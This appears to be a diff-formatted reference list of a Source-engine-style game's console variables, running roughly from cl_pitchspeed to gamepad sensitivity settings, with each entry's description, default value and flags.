+cl_pitchspeed + + + +default: `"225"` +flags: `0x2` +
+
+cl_playback_screenshots + +Allows the client to playback screenshot and jpeg commands in demos. + +default: `"0"` +flags: `0x2` +
+
+cl_player_fullupdate_predicted_origin_fix + + + +default: `"1"` +flags: `0x2` +
+
+cl_player_touch_triggers + + + +default: `"1"` +flags: `0x2` +
+
+cl_postSnapshotTransitionBlockCount + + + +default: `"20"` +flags: `0x2` +
+
+cl_preSnapshotTransitionBlockCount + + + +default: `"10"` +flags: `0x2` +
+
+cl_pred_error_verbose + +Show more field info when spewing prediction errors. + +default: `"0"` +flags: `0x2` +
+
+cl_pred_optimize + +Optimize for not rerunning prediction if there was no difference between what we predicted and the incoming networked state + +default: `"1"` +flags: `0x2` +
+
+cl_predict + +Perform client side prediction. + +default: `"1"` +flags: `0x200` +
+
+cl_predict_basetoggles + + + +default: `"1"` +flags: `0x2` +
+
+cl_predict_cmdlimit + +Artificially limits the number of remembered commands that can be used for prediction + +default: `"750"` +flags: `0x4000` +
+
+cl_predict_error_icon_duration + +Duration for prediction error icon to stay visible + +default: `"0.5"` +flags: `0x4000` +
+
+cl_predict_error_icon_show + +Whether to show the prediction error icon + +default: `"1"` +flags: `0x4000` +
+
+cl_predict_error_icon_threshold_angle + +Angle error required to show prediction error icon + +default: `"0.01"` +flags: `0x4000` +
+
+cl_predict_error_icon_threshold_dist + +Distance error required to show prediction error icon + +default: `"1.0"` +flags: `0x4000` +
+
+cl_predict_motioncontrol + + + +default: `"0"` +flags: `0x2` +
+
+cl_predict_viewangles + +Predict view angles even if cl_predict is 0. + +default: `"1"` +flags: `0x2` +
+
+cl_prediction_error_timestamps + + + +default: `"0"` +flags: `0x2` +
+
+cl_predictionlist + +Show which entities are predicting + + +default: `"0"` +flags: `0x4000` +
+
+cl_predictweapons + +Perform client side prediction of weapon effects. + +default: `"1"` +flags: `0x200` +
+
+cl_prevent_weapon_text_hints + +stops weapon text hints from appearing + +default: `"1"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time + +Fade out ragdoll even if in players view after this many seconds + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_local_view_player + +If the ragdoll is of the local view player then use the max of this and cl_ragdoll_force_fade_time for the fade time + +default: `"20"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_on_moving_geo + +Fade out ragdoll even if in players view after this many seconds when touching moving geo. + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_titan + +Fade out titan ragdoll even if in players view after this many seconds + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_maxcount + + + +default: `"8"` +flags: `0x40000000` +min value: `0` +max value: `8` +
+
+cl_ragdoll_self_collision + + + +default: `"1"` +flags: `0x40000002` +
+
+cl_replayDelayTolerance + + + +default: `"4"` +flags: `0x2` +
+
+cl_requireAnimForAnimEventsHdr + + + +default: `"1"` +flags: `0x2` +
+
+cl_resend + +Delay in seconds before the client will resend the 'connect' attempt + +default: `"0.5"` +flags: `0x80000` +min value: `0.5` +max value: `20` +
+
+cl_resend_timeout + +Total time allowed for the client to resend the 'connect' attempt + +default: `"10"` +flags: `0x80000` +min value: `0.5` +max value: `20000` +
+
+cl_retire_low_priority_lights + +Low priority dlights are replaced by high priority ones + +default: `"0"` +flags: `0x2` +
+
+cl_runWeaponCloneThinkWhenHidden + + + +default: `"1"` +flags: `0x2` +
+
+cl_safearea + + + +default: `"0"` +flags: `0x1000000` +
+
+cl_screenshotname + +Custom Screenshot name + +default: `""` +flags: `0x2` +
+
+cl_scriptCompileAsync + + + +default: `"1"` +flags: `0x2` +
+
+cl_script_perf_dump_on_shutdown + + + +default: `"0"` +flags: `0x2` +
+
+cl_shadowupdatespacing + + + +default: `"10.0"` +flags: `0x2` +
+
+cl_showClanTags + +Only change this while disconnected from a server + +default: `"1"` +flags: `0x2` +
+
+cl_show_splashes + + + +default: `"1"` +flags: `0x2` +
+
+cl_showerror + +Show prediction errors, 2 for above plus detailed field deltas. + +default: `"0"` +flags: `0x2` +
+
+cl_showerror_watchfield + +When showing prediction errors, only show fields that match this name + +default: `""` +flags: `0x2` +
+
+cl_showfiredbullets + + + +default: `"0"` +flags: `0x2` +
+
+cl_showfps + +Draw fps meter (1 = fps, 2 = smooth, 3 = server, 4 = Show+LogToFile, +10 = detailed ) + +default: `"0"` +flags: `0x80000` +
+
+cl_showfps_altframetime + +Use the showfps_enabled time instead of the old cl_showfps time. + +default: `"1"` +flags: `0x80000` +
+
+cl_showpausedimage + +Show the 'Paused' image when game is paused. + +default: `"1"` +flags: `0x2` +
+
+cl_showpos + +Draw current position at top of screen + +default: `"0"` +flags: `0x80000` +
+
+cl_showsounds + +Print server to client networked sounds to the console + +default: `"0"` +flags: `0x4000` +
+
+cl_showtime + +Draw current demo time if recording a demo + +default: `"0"` +flags: `0x80000` +
+
+cl_simulateAllModelsRegardless + + + +default: `"0"` +flags: `0x2` +
+
+cl_simulationtimefix + + + +default: `"1"` +flags: `0x2` +
+
+cl_skipAnimEventsOnProps + + + +default: `"1"` +flags: `0x2` +
+
+cl_skipfastpath + +Set to 1 to stop all models that go through the model fast path from rendering + +default: `"0"` +flags: `0x4000` +
+
+cl_smooth + +Smooth view/eye origin after prediction errors + +default: `"1"` +flags: `0x2` +
+
+cl_smooth_debug + +Show prediction errors that are being smoothed + +default: `"0"` +flags: `0x2` +
+
+cl_smoothtime + +Smooth client's view after prediction error over this many seconds + +default: `"0.25"` +flags: `0x2` +min value: `0.01` +max value: `2` +
+
+cl_threaded_bone_setup + +Enable parallel processing of C_BaseAnimating::SetupBones() + +default: `"1"` +flags: `0x2` +
+
+cl_update_visibility_for_non_predicted_local_player_always + + + +default: `"1"` +flags: `0x2` +
+
+cl_updatedirty_async + +Call UpdateDirtySpatialPartitionEntities on a worker thread. + +default: `"0"` +flags: `0x2` +
+
+cl_updatedirty_early + + + +default: `"0"` +flags: `0x2` +
+
+cl_updaterate_mp + +Number of packets per second of updates you are requesting from the server in mp + +default: `"20"` +flags: `0x10202` +
+
+cl_upspeed + + + +default: `"320"` +flags: `0x4000` +
+
+cl_useFutureSnapForEvents + + + +default: `"0"` +flags: `0x2` +
+
+cl_useLobbyTypeForChatroom + + + +default: `"1"` +flags: `0x2` +
+
+cl_view_cone + +Enable clamping view to animated/scripted viewcone + +default: `"1"` +flags: `0x4000` +
+
+cl_view_cone_debug + +Show view cone debugging window + +default: `"0"` +flags: `0x4000` +
+
+cl_viewmodel_pre_animate + + + +default: `"0"` +flags: `0x2` +
+
+cl_warnAboutSoundsOnInvalidEntities + + + +default: `"1"` +flags: `0x2` +
+
+cl_yawspeed + + + +default: `"210"` +flags: `0x2` +
+
+clampHostFrameTimeToOneTick_enable + + + +default: `"0"` +flags: `0x2` +
+
+clearOnAnimChange + + + +default: `"1"` +flags: `0x2` +
+
+client_deferredSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+clientport + +Host game client port + +default: `"0"` +flags: `0x80000` +
+
+cloak_enabled + + + +default: `"1"` +flags: `0x4000` +
+
+cloak_pilotNoiseFactor + +Intensity of noise in pilot cloak aberration + +default: `"0.25"` +flags: `0x2002` +
+
+cloak_pilotTint1 + +Brightness factor for center-left sample + +default: `"0.35"` +flags: `0x2002` +
+
+cloak_pilotTint2 + +Brightness factor for upper-right sample + +default: `"0.5"` +flags: `0x2002` +
+
+cloak_pilotTint3 + +Brightness factor for lower-right sample + +default: `"0.65"` +flags: `0x2002` +
+
+clock_bias_mp + + + +default: `"-18.0"` +flags: `0x2` +
+
+clock_bias_sp + + + +default: `"-2.0"` +flags: `0x2` +
+
+clock_showcorrections + + + +default: `"0"` +flags: `0x2` +
+
+clock_showdebuginfo + + + +default: `"0"` +flags: `0x2` +
+
+closecaption + +Enable close captioning. 1 = dialogue only, 2 = dialogue and sound effects. + +default: `"0"` +flags: `0x1000000` +
+
+cockpitDrift_scalePitch + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_scaleYaw + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_speedPitch + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_speedYaw + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitShake_sourceRollRange + +The range of weapon kick roll that will be sampled for cockpit shake. + +default: `"3"` +flags: `0x2` +
+
+cockpitShake_translateRange + +Max amount of cockpit shake. + +default: `"0.6"` +flags: `0x2` +
+
+cockpit_damage_chroma_scale + + + +default: `"0.4"` +flags: `0x2` +
+
+cockpit_hit_chroma_max_time + +Time to get rid of the most recent hit_chroma adjustment when at near 0 health. + +default: `"0.6"` +flags: `0x2` +
+
+cockpit_hit_chroma_scale + + + +default: `"0.2"` +flags: `0x2` +
+
+cockpit_pitch_down_frac + +fractional amount that cockpit pitches as you look down + +default: `"1.0"` +flags: `0x2` +
+
+cockpit_pitch_up_frac + +fractional amount that cockpit pitches as you look up + +default: `"1.0"` +flags: `0x2` +
+
+cockpit_screen_boot_chroma_scale + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_bottom + + + +default: `"1.25"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_left + + + +default: `"0.25"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_mid + + + +default: `"0.5"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_right + + + +default: `"0.75"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_top + + + +default: `"1.0"` +flags: `0x2` +
+
+coll_spatial_entry_limit_client + +How many entries are used in the spatial acceleration structure for dynamic entities on the client. + +default: `"140"` +flags: `0x2` +
+
+coll_spatial_optimize_prefetch + +Prefetch memory into the cache before optimizing spatial acceleration trees. This does more work, but tends to be faster overall. + +default: `"1"` +flags: `0x2` +
+
+coll_use_bolt_size + + + +default: `"1"` +flags: `0x2002` +
+
+colorblind_mode + + + +default: `"0"` +flags: `0x41000000` +min value: `0` +max value: `3` +
+
+communities_doRealNameLookupsForCommunityCreators + + + +default: `"0"` +flags: `0x2` +
+
+communities_enabled + +Enable communities + +default: `"0"` +flags: `0x2` +
+
+communities_hostname + + + +default: `""` +flags: `0x2` +
+
+community + +Our current community + +default: `""` +flags: `0x200` +
+
+community_abortCommunitySettingsTime + + + +default: `"20"` +flags: `0x2` +
+
+community_abortUserInfoTime + + + +default: `"20"` +flags: `0x2` +
+
+community_browse_excludeMine + + + +default: `"0"` +flags: `0x2` +
+
+community_clantags + +put community name in the clan tag + +default: `"1"` +flags: `0x2` +
+
+community_doRealNameLookupsForInbox + + + +default: `"0"` +flags: `0x2` +
+
+community_frame_run + +Communities should run it's frame update. + +default: `"1"` +flags: `0x2` +
+
+community_queryServerWhenOrphaned + + + +default: `"1"` +flags: `0x2` +
+
+community_replaceInboxTokens + + + +default: `"1"` +flags: `0x2` +
+
+community_replaceInboxTokens + + + +default: `"1"` +flags: `0x2` +
+
+community_resolveNames + + + +default: `"1"` +flags: `0x2` +
+
+community_resolveNames + + + +default: `"1"` +flags: `0x2` +
+
+community_send_server_voice + +Communities will route voice data to the chat server! + +default: `"1"` +flags: `0x2` +
+
+community_spam + +Whether communities should spam to the console log + +default: `"0"` +flags: `0x2` +
+
+community_staleCommunitySettingsTime + + + +default: `"60"` +flags: `0x2` +
+
+community_staleUserInfoTime + + + +default: `"120"` +flags: `0x2` +
+
+con_logfile + +Console output gets written to this file + +default: `""` +flags: `0x2` +
+
+con_timestamp + +Prefix console.log entries with timestamps + +default: `"0"` +flags: `0x2` +
+
+cpu_level + +CPU Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+cpu_level + +CPU Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+createentitydecals + + + +default: `"1"` +flags: `0x4000` +
+
+crossPlay_Enabled + +Allow crossPlay code to work! + +default: `"1"` +flags: `0x2` +
+
+csm0_on_worker + + + +default: `"0"` +flags: `0x2` +
+
+csm_cascade_res + +Set the cascading shadow maps rendertarget resolution + +default: `"1024"` +flags: `0x2` +
+
+csm_cascade_res + +Set the cascading shadow maps rendertarget resolution + +default: `"1024"` +flags: `0x2` +
+
+csm_coverage + +Set the cascading shadow maps coverage + +default: `"2"` +flags: `0x2` +
+
+csm_culling_use_base_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_exclusion_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_inclusion_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+csm_debug_culling + + + +default: `"0"` +flags: `0x2` +
+
+csm_debug_vis_hi_range + + + +default: `"1.0"` +flags: `0x2` +
+
+csm_debug_vis_lo_range + + + +default: `".35"` +flags: `0x2` +
+
+csm_depth_bias + + + +default: `"-0.000005f"` +flags: `0x2` +
+
+csm_dropsequence_adjusted_coverage + +Coverage for csm_dropsequence_adjustment + +default: `"6400"` +flags: `0x2` +
+
+csm_dropsequence_adjustment + +Adjust CSM 2 coverage during drop sequence for STATICSHADOWMODE_GENERATE_ONCE in order to prevent drop ship shadow from being clamped. + +default: `"1"` +flags: `0x2` +
+
+csm_enabled + +Set whether to render cascading shadow maps + +default: `"1"` +flags: `0x2` +
+
+csm_fadeModels + + + +default: `"1"` +flags: `0x2` +
+
+csm_force_no_csm_in_reflections + + + +default: `"0"` +flags: `0x2` +
+
+csm_frustum_draw + + + +default: `"0"` +flags: `0x2` +
+
+csm_frustum_draw_lock + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_cascade12 + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_edge_planes + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_face_planes + + + +default: `"0"` +flags: `0x2` +
+
+csm_max_z_offset + +Note csm_z_cover_world expands Z range as well + +default: `"1000"` +flags: `0x2` +
+
+csm_min_z_offset + +Note csm_z_cover_world expands Z range as well + +default: `"-1000"` +flags: `0x2` +
+
+csm_renderable_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_rope_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_rot_override + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"0"` +flags: `0x2` +
+
+csm_rot_x + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"50"` +flags: `0x2` +
+
+csm_rot_y + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"43"` +flags: `0x2` +
+
+csm_shadow_split_lerp_factor_range + + + +default: `".1"` +flags: `0x2` +
+
+csm_texel_size_cascade_0 + + + +default: `"0.25"` +flags: `0x2` +
+
+csm_texel_size_cascade_1 + + + +default: `"1.0"` +flags: `0x2` +
+
+csm_texel_size_cascade_2 + + + +default: `"4.0"` +flags: `0x2` +
+
+csm_texel_size_cascade_onecascade + + + +default: `"2.0"` +flags: `0x2` +
+
+csm_use_env_light_direction + + + +default: `"1"` +flags: `0x2` +
+
+csm_world_shadow_meshes + + + +default: `"1"` +flags: `0x2` +
+
+csm_world_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_z_cover_world + +Expands CSM Depth coverage. 1 - Sea Height to Jump Height by Script, 2 - Static shadow's depth range + +default: `"2"` +flags: `0x2` +
+
+curl_allowHTTPS + + + +default: `"1"` +flags: `0x2` +
+
+curl_preloadDlls + + + +default: `"0"` +flags: `0x2` +
+
+curl_spamAllQueryStates + + + +default: `"0"` +flags: `0x2` +
+
+cursorWide + + + +default: `"2"` +flags: `0x2` +
+
+damageIndicatorReplayTimeOffset + +Artificial delay of damage indicator in replay + +default: `"0.0"` +flags: `0x2` +
+
+damage_indicator_style_pilot + + + +default: `"2"` +flags: `0x1000000` +
+
+damageinfo_defendInvalidValues + + + +default: `"0"` +flags: `0x2002` +
+
+debugFootstepEffects + + + +default: `"0"` +flags: `0x2` +
+
+debug_debug_overlay + +Enable debug of the debug overlays + +default: `"0"` +flags: `0x4004` +
+
+debug_force_textRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_force_ugcRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_force_voiceRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_map_crc + +Prints CRC for each map lump loaded + +default: `"0"` +flags: `0x2` +
+
+decal_clip_debug_draw + + + +default: `"0"` +flags: `0x2` +
+
+decal_clip_debug_groups + +this kicks off this many work groups when a decal is spawned instead of one for each triangle on the model. 0 is disabled + +default: `"0"` +flags: `0x2` +
+
+defer_weapon_effects + + + +default: `"1"` +flags: `0x2` +
+
+delayPostSnapshotNotificationsToAfterInterpolation + + + +default: `"1"` +flags: `0x2` +
+
+demo_autoRecord + + + +default: `"1"` +flags: `0x2` +
+
+demo_autoRecordName + + + +default: `"demo"` +flags: `0x2` +
+
+demo_connect_string + +Connect string for demo UI + +default: `""` +flags: `0x2` +
+
+demo_ui_enable + +Suffix for the demo UI + +default: `""` +flags: `0x2` +
+
+depth_prepass_dist_cutouts + + + +default: `"100"` +flags: `0x2` +
+
+depth_prepass_dist_opaques + + + +default: `"30"` +flags: `0x2` +
+
+depth_prepass_include_opaques + + + +default: `"1"` +flags: `0x2` +
+
+devStats + +True if game should report dev stats. + +default: `"0"` +flags: `0x2002` +
+
+developer + +Set developer message level + +default: `"0"` +flags: `0x80000` +
+
+disable_player_use_prompts + + + +default: `"0"` +flags: `0x1000000` +
+
+discord_largeImage + + + +default: `"default"` +flags: `0x2` +
+
+discord_smallImage + + + +default: `"default_small"` +flags: `0x2` +
+
+discord_updatePresence + + + +default: `"0"` +flags: `0x2` +
+
+dlight_default_falloff + +default half-distance fraction for legacy dlights. + +default: `"0.3"` +flags: `0x2` +
+
+dlight_early_clear + + + +default: `"1"` +flags: `0x2` +
+
+dlight_enable + + + +default: `"1"` +flags: `0x2` +
+
+dlight_overlay + +Draw debug overlay of dlight array + +default: `"0"` +flags: `0x4000` +
+
+dodge_cockpitHack + +Hack to avoid eye moving too far back in cockpit + +default: `"0"` +flags: `0x2002` +
+
+dodge_cockpitOffsetMax + +Cockpit translation while dodging + +default: `"3"` +flags: `0x2002` +
+
+dodge_cockpitTiltMax + +Additional view tilt applied to the cockpit while dodging + +default: `"4"` +flags: `0x2002` +
+
+dodge_vertical_enable + +Enables vertical dodge + +default: `"0"` +flags: `0x2002` +
+
+dodge_vertical_horzspeedscale + +Horizontal speed retained when dodging vertically + +default: `"0.5"` +flags: `0x2002` +
+
+dodge_vertical_in_air + +Allow dodge to still apply vertical acceleration when player is in the air + +default: `"1"` +flags: `0x2002` +
+
+dodge_vertical_threshold + +Stick deflection before dodge becomes vertical + +default: `"0.1"` +flags: `0x2002` +
+
+dodge_viewTiltDecreaseSpeed + +Speed at which view tilt decreases while dodging (degrees/sec) + +default: `"2.5"` +flags: `0x2002` +
+
+dodge_viewTiltFalloffTime + +Time during which view tilt decays to zero while dodging + +default: `".7"` +flags: `0x2002` +
+
+dodge_viewTiltIncreaseSpeed + +Speed at which view tilt increases while dodging (degrees/sec) + +default: `"5"` +flags: `0x2002` +
+
+dodge_viewTiltMax + +Amount of view tilt while dodging in degrees + +default: `"10"` +flags: `0x2002` +
+
+dof_enable + + + +default: `"1"` +flags: `0x2` +
+
+dof_farDepthEnd + + + +default: `"3000"` +flags: `0x2` +
+
+dof_farDepthStart + + + +default: `"2000"` +flags: `0x2` +
+
+dof_monitorFarDepthEnd + + + +default: `"3000"` +flags: `0x2` +
+
+dof_monitorFarDepthStart + + + +default: `"2000"` +flags: `0x2` +
+
+dof_monitorNearDepthEnd + + + +default: `"7.7"` +flags: `0x2` +
+
+dof_monitorNearDepthStart + + + +default: `"7.5"` +flags: `0x2` +
+
+dof_nearDepthEnd + + + +default: `"7.7"` +flags: `0x2` +
+
+dof_nearDepthStart + + + +default: `"7.5"` +flags: `0x2` +
+
+dof_overrideParams + + + +default: `"0"` +flags: `0x2` +
+
+dof_variable_blur + + + +default: `"0"` +flags: `0x2` +
+
+dormant_debug + + + +default: `"0"` +flags: `0x2` +
+
+draw_target_info_offscreen + + + +default: `"0"` +flags: `0x2` +
+
+dtwatchclass + +Watch all fields encoded with this table. + +default: `""` +flags: `0x2` +
+
+dtwatchdecode + +When watching show decode. + +default: `"1"` +flags: `0x2` +
+
+dtwatchencode + +When watching show encode. + +default: `"1"` +flags: `0x2` +
+
+dtwatchent + +Watch this entities data table encoding. + +default: `"-1"` +flags: `0x2` +
+
+dtwatchvar + +Watch the named variable. + +default: `""` +flags: `0x2` +
+
+dump_varsights_calculations + +Dumps one frame of variable sights calculations and turns itself off. + +default: `"0"` +flags: `0x2` +
+
+durango_voice_chat_team_only + +Only turn on voice chat for players on the same team + +default: `"1"` +flags: `0x2` +
+
+dvs_enable + +Enable dynamic viewport scaling. + +default: `""` +flags: `0x2` +
+
+dvs_enable_in_lobby + +Paired with dvs_enable. Both have to be true if we want to enable DVS in Lobby. + +default: `"0"` +flags: `0x2` +
+
+dvs_gpuframetime_max + +GPU frametime threshold above which DVS will start decreasing the scale. Specified in microseconds. + +default: `"16500"` +flags: `0x2` +
+
+dvs_gpuframetime_min + +GPU frametime threshold below which DVS will start increasing the scale. Specified in microseconds. + +default: `"15000"` +flags: `0x2` +
+
+dvs_scale_min + +Smallest scale the viewport dimensions can be scaled by. + +default: `"0.5f"` +flags: `0x2` +min value: `0.01` +max value: `1` +
+
+eadpAuth_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpFriends_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpGroups_Enabled + +Allow EADP Groups to run + +default: `"1"` +flags: `0x2` +
+
+eadpGroups_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpRtm_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpSearch_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadp_rtm_spam_log + + + +default: `"1"` +flags: `0x2` +
+
+effect_update_array_spam + + + +default: `"0"` +flags: `0x2` +
+
+enable_KVFileOverrides + + + +default: `"1"` +flags: `0x2` +
+
+enable_debug_overlays + +Enable rendering of debug overlays + +default: `"1"` +flags: `0x4004` +
+
+enable_height_based_land_anims + +Enables different land animations based on the height of the fall. These may just be duplicates of each other. + +default: `"1"` +flags: `0x2002` +
+
+enable_height_based_land_anims_titans + + + +default: `"0"` +flags: `0x2002` +
+
+enable_skeleton_draw + +Render skeletons in wireframe + +default: `"0"` +flags: `0x4000` +
+
+encrypt_multiKey + + + +default: `"1"` +flags: `0x2` +
+
+ent_lightweightEnts + + + +default: `"1"` +flags: `0x2` +
+
+ent_repack_almostFull + + + +default: `"3000"` +flags: `0x2` +
+
+ent_repack_threshhold + + + +default: `"0.0001"` +flags: `0x2` +
+
+entity_error_on_hitbox_count_mismatch + +If set to true, SetModel will trigger a script error if any hitbox attachments will become invalid. + +default: `"1"` +flags: `0x2002` +
+
+entity_skipRedundantAddEffects + + + +default: `"1"` +flags: `0x2` +
+
+entity_useNetworkFieldBuffer + + + +default: `"1"` +flags: `0x400002` +
+
+error_if_non_standard_ent_create + + + +default: `"0"` +flags: `0x2` +
+
+eula_version + +What the current version of the EULA is + +default: `"1"` +flags: `0x2` +
+
+eula_version_accepted + + + +default: `"0"` +flags: `0x1000000` +
+
+eventseq_debug + + + +default: `"0"` +flags: `0x2` +
+
+everything_unlocked + + + +default: `"0"` +flags: `0x2002` +
+
+fast_intro + + + +default: `"0"` +flags: `0x2002` +
+
+fatal_script_error_prompt + + + +default: `""` +flags: `0x2002` +
+
+fatal_script_errors + + + +default: `"1"` +flags: `0x2002` +
+
+fatal_script_errors_client + +Enable fatal errors for client script. -1 will revert to using "fatal_script_errors" + +default: `"-1"` +flags: `0x2002` +
+
+fatal_script_errors_server + +Enable fatal errors for server script. -1 will revert to using "fatal_script_errors" + +default: `"-1"` +flags: `0x2002` +
+
+filesystem_buffer_size + +Size of per file buffers. 0 for none + +default: `"0"` +flags: `0x2` +
+
+filesystem_max_stdio_read + + + +default: `"16"` +flags: `0x2` +
+
+filesystem_native + +Use native FS or STDIO + +default: `"1"` +flags: `0x2` +
+
+filesystem_report_buffered_io + + + +default: `"0"` +flags: `0x2` +
+
+filesystem_unbuffered_io + + + +default: `"1"` +flags: `0x2` +
+
+filesystem_use_overlapped_io + + + +default: `"1"` +flags: `0x2` +
+
+fire_animevents_overlay_not_active + +fires anim events even if the overlay isn't active + +default: `"0"` +flags: `0x2002` +
+
+first_person_bullet_delay + +Set the amount of additional delay for first person bullets fired with net_optimize_weapons in seconds. Required so bullets match animations with cl_predict 0 and in kill replay + +default: `"0.1f"` +flags: `0x2002` +
+
+first_person_proxy_blend_distance + + + +default: `"50"` +flags: `0x2` +
+
+first_person_proxy_debug + + + +default: `"0"` +flags: `0x6000` +
+
+firsttime_mp_message + +first time joining multiplayer + +default: `"0"` +flags: `0x1000000` +
+
+fog_enable + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"1"` +flags: `0x40000002` +
+
+fog_enable_water_fog + + + +default: `"1"` +flags: `0x4000` +
+
+fog_enableskybox + + + +default: `"1"` +flags: `0x2` +
+
+force3PLaserAttachment + + + +default: `"HEADFOCUS"` +flags: `0x2002` +
+
+force_EAAccess + + + +default: `"-1"` +flags: `0x2` +
+
+fps_max + +Frame rate limiter. -1 indicates use the desktop refresh. 0 is unlocked. + +default: `"-1"` +flags: `0x80000` +
+
+fps_max_use_refresh + +Use refresh rate for fps_max. + +default: `"0"` +flags: `0x2` +
+
+fps_max_vsync + +Frame rate limiter with vsync is enabled. + +default: `"0"` +flags: `0x2` +
+
+freecam_swallowButtonInput + + + +default: `"1"` +flags: `0x2` +
+
+freefall_sound_autoplay_time + +If the player falls for longer than this amount of time freefall sounds will automatically start playing. + +default: `"1.0"` +flags: `0x2002` +
+
+freefall_sound_height + +Height player must be falling from to trigger freefall sound effects. + +default: `"200.0"` +flags: `0x2002` +
+
+friends_onlineUpdateInterval + + + +default: `"10"` +flags: `0x2` +
+
+fs_intralevel_reads + +Internal var to tell the file system that we are in an intraread state... + +default: `"0"` +flags: `0x2` +
+
+fs_monitor_read_from_pack + +0:Off, 1:Any, 2:Sync only + +default: `"0"` +flags: `0x2` +
+
+fs_report_intra_level_readopens + +0:Off, 1:NotAudio, 2:All + +default: `"0"` +flags: `0x2` +
+
+fs_report_long_reads + +0:Off, 1:All (for tracking accumulated duplicate read times), >1:Microsecond threshold + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens + +0:Off, 1:Always, 2:Not during map load + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens_callstack + +0 to not display the call-stack when we hit a fs_report_sync_opens warning. Set to 1 to display the call-stack. + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens_fatal + + + +default: `"0"` +flags: `0x40000002` +
+
+fs_showAllReads + +0:Off, 1:On + +default: `"0"` +flags: `0x2` +
+
+fs_vpk_file_open + +0: No reporting, 1: Patch:VPKFilePath, 2: Patch:VPKFilePath:PartialPath + +default: `"0"` +flags: `0x2` +
+
+fs_warning_mode + +0:Off, 1:Warn main thread, 2:Warn other threads + +default: `"0"` +flags: `0x2` +
+
+func_break_max_pieces + + + +default: `"15"` +flags: `0x2080` +
+
+fx_debug + + + +default: `"0"` +flags: `0x2002` +
+
+fx_deferWorldTraceConstraint + +'Collision via traces' ops using collision mode 0 use deferred traces. + +default: `"1"` +flags: `0x2` +
+
+fx_glass_velocity_cap + +Maximum downwards speed of shattered glass particles + +default: `"0"` +flags: `0x2` +
+
+fx_impact_ally + + + +default: `"0.49 0.76 1.0 1.0"` +flags: `0x2` +
+
+fx_impact_enemy + + + +default: `"1.0 0.47 0.13 1.0"` +flags: `0x2` +
+
+fx_impact_neutral + + + +default: `"0.86 0.86 0.86 1.0"` +flags: `0x2` +
+
+fx_screenspacepass + + + +default: `"1"` +flags: `0x2002` +
+
+g_debug_ragdoll_removal + + + +default: `"0"` +flags: `0x6000` +
+
+g_ragdoll_fadespeed + + + +default: `"600"` +flags: `0x2` +
+
+g_ragdoll_important_maxcount + + + +default: `"2"` +flags: `0x2002` +
+
+g_ragdoll_lvfadespeed + + + +default: `"100"` +flags: `0x2` +
+
+gameCursor_ModeActive + +Globally activates/deactivates game cursor mode + +default: `"1"` +flags: `0x2` +
+
+gameCursor_Velocity + +Game cursor velocity under joystick control + +default: `"1300.0"` +flags: `0x1000000` +
+
+gamepad_ads_advanced_sensitivity_scalar_0 + +Gamepad ads sensitivity for 1x scopes / ironsights. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_1 + +Gamepad ads sensitivity for 2x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_2 + +Gamepad ads sensitivity for 3x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_3 + +Gamepad ads sensitivity for 4x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_4 + +Gamepad ads sensitivity for 6x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_5 + +Gamepad ads sensitivity for 8x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_6 + +Gamepad ads sensitivity for 10x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
